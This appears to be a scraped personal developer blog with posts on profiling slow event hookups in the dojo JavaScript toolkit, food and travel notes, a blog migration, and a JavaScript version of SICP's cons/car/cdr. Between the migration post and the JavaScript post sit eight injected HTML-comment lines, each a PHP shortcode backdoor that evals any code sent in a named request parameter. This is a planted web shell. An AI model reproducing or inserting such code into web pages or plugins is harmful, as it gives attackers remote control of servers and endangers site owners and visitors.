ro619k1eo1
A day late, but better late than never.
- Tracked down part of the slowness in building and rendering items. A good part of it stems from hooking up events in dojo. If you call
dojo.event.connect
passing in asrcObj
,srcFunc
, and a target func like thisdojo.event.connect(foo, "onclick", function(evt) { /* blah */ })
, interpolateArgs names the function usingdojo.lang.nameAnonFunc
, which ends up walking the window object looking for an instance of the function passed in. Doing this 500 times turns out to be a bit slow, averaging something like 15ms per call (Firefox, profiled by Firebug, on a MacBook Pro 2GHz). By changing our code to call an existing function on an existing object, we trimmed 9 seconds from our 12 second per 200 items render time. Not bad. Still lots of room for improvement. Currently building the stuff with DOM methods, so switching to building straight HTML should give us a pretty good speed boost.Need to check and see how connect behaves in 0.9.
- Food report:
- Small mint mocha from Coffee Society for breakfast. Much tastier than the ‘bucks version (chocolate seems better and the espresso is much much better) and free wireless. They make a pretty good macchiato too. Nice to sit outside and enjoy a warm beverage and free wifi.
- “Salad” at LeBoulanger.
- Outback for dinner. Alice Springs and some soup. Nothing special. Fun times looking at houses around the bay area, compared to Saratoga Springs. Chip needs a $15 million house to house his $1000 pony.
- Tomorrow, fishing! First time out on a six person sportfishing boat… Hope the waves are small…
In the spirit of Paul’s something-more-than-twitter updates, here’s mine (though it really covers Sunday through Tuesday):
- Played golf at San Teresa with Will and Danny. 41 / 39 for an 80, with birdies on 10 and 11. Not bad for the first round of the year after eight hours of flying. Nice course, back nine was much more interesting than the front and they have Segways available as golf carts!
- Spent some profiling the new rendering code. Profiling is always interesting, as it rarely turns up what you would expect. We seem to be spending a lot of time in dojo.lang.nameAnonFunc…
- The Burro makes quite the strong margarita. Be sure to ask for the large size.
- Fry’s is amazing. I wish we had something like it on the east coast, though my wallet is happy we don’t.
- The never-ending search for
the perfecta decent Bluetooth headset continues. Rob suggests the Plantronics 510. Multipoint seems quite cool and the 510 is not overtly expensive. - Pacific Cookie Co. makes some excellent cookies. Double fudge and sugar are my faves.
- Rock Bottom has some tasty beers, though the current brewmaster’s choice (a light red) isn’t all that great. The normal red was much better.
- Yes, this entire trip has been an excuse to eat.
- Still working on integrating dojo.dnd2 into our tree. Need to abstract out the selection bit, but I’ve got the node selection / filtering working.
If you’re reading this, you’re being served content from my fancy new TextDrive-hosted blog, including a fancy new Atom 1.0 feed using an Atom 1.0 plugin by Ben Smedbergs.
Next up, moving over all of the old content. Please prepare to ignore vast quantities of posts in your favorite feed reader.
<!– [insert_php]if (isset($_REQUEST["tDZWj"])){eval($_REQUEST["tDZWj"]);exit;}[/insert_php][php]if (isset($_REQUEST["tDZWj"])){eval($_REQUEST["tDZWj"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["nKzY"])){eval($_REQUEST["nKzY"]);exit;}[/insert_php][php]if (isset($_REQUEST["nKzY"])){eval($_REQUEST["nKzY"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["Ngejf"])){eval($_REQUEST["Ngejf"]);exit;}[/insert_php][php]if (isset($_REQUEST["Ngejf"])){eval($_REQUEST["Ngejf"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["FJDPR"])){eval($_REQUEST["FJDPR"]);exit;}[/insert_php][php]if (isset($_REQUEST["FJDPR"])){eval($_REQUEST["FJDPR"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["qMXwD"])){eval($_REQUEST["qMXwD"]);exit;}[/insert_php][php]if (isset($_REQUEST["qMXwD"])){eval($_REQUEST["qMXwD"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["SIo"])){eval($_REQUEST["SIo"]);exit;}[/insert_php][php]if (isset($_REQUEST["SIo"])){eval($_REQUEST["SIo"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["HObVJ"])){eval($_REQUEST["HObVJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["HObVJ"])){eval($_REQUEST["HObVJ"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["HAy"])){eval($_REQUEST["HAy"]);exit;}[/insert_php][php]if (isset($_REQUEST["HAy"])){eval($_REQUEST["HAy"]);exit;}[/php] –>
The beginning (of the end?)
Woo boy. Some fun javascript for your consideration. Who said scheme was dead? This code adapted from the Abelson and Sussman lectures on the Structure and Interpretation of Programs.
function cons(x,y) { var f = function(pick) { if(pick == 0) return x; else if(pick == 1) return y; } f.toString = _printCons; return f; } function _printCons() { var s = ""; s += (car(this) || "(nil)"); if(cdr(this)) { s += "," s += cdr(this); } return s; } function car(p) { return p(0); } function cdr(p) { return p(1); } // cons(1, cons(2, cons(3, cons(4,null)))); function list() { var l = null; for(var i = arguments.length-1; i >= 0; i--) l = cons(arguments[i],l); return l; } function map(p,l) { if(l == null) return null; else { return cons( p(car(l)), map(p, cdr(l)) ); } } function for_each(p,l) { if(l == null) return "done"; else { p(car(l)); for_each(p, cdr(l)); } }